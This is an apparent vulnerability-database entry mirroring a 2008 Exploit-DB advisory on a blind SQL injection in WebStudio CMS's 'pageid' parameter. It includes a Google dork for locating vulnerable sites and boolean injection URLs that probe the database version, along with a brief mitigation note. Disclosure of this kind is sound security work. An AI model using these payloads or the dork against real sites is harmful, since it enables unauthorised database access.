WebStudio CMS (pageid) Blind SQL Injection Vulnerability

vendor:

WebStudio CMS

by:

Charalambous Glafkos

CVSS

CRITICAL

Blind SQL Injection

CWE

Product Name: WebStudio CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

WebStudio CMS (pageid) Blind SQL Injection Vulnerability

WebStudio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Edit source code manually to ensure user-supplied input is correctly sanitised.

Source

Exploit-DB raw data:

Application:  WebStudio CMS

 

Vendor Name: BDigital Media Ltd

 

Vendors Url:  http://www.bdigital.biz

 

Bug Type:     WebStudio CMS (pageid) Blind SQL Injection Vulnerability

 

Exploitation: Remote

 

Severity: Critical

 

Solution Status: Unpatched 

 

Introduction: WebStudio CMS is a modular Web Content Management System
solution.

 

Google Dork:  "Powered by WebStudio"

 

 

Description:

 

WebStudio CMS is prone to an SQL-injection vulnerability because it fails to
sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying
database.

 

PoC:

 

http://localhost/index.php?pageid=1+and+1=1 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+1=2 ( FALSE )

 

Exploit:

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=3 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=4 ( FALSE )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=5 ( FALSE )

 

Solution:

 

There was no vendor-supplied solution at the time of entry.

 

Edit source code manually to ensure user-supplied input is correctly
sanitised.

 

 

Credits:

 

Charalambous Glafkos

Email:  glafkos (at) astalavista (dot) com

___________________________________________

ASTALAVISTA - the hacking & security community

www.astalavista.com

www.astalavista.net

# milw0rm.com [2008-11-24]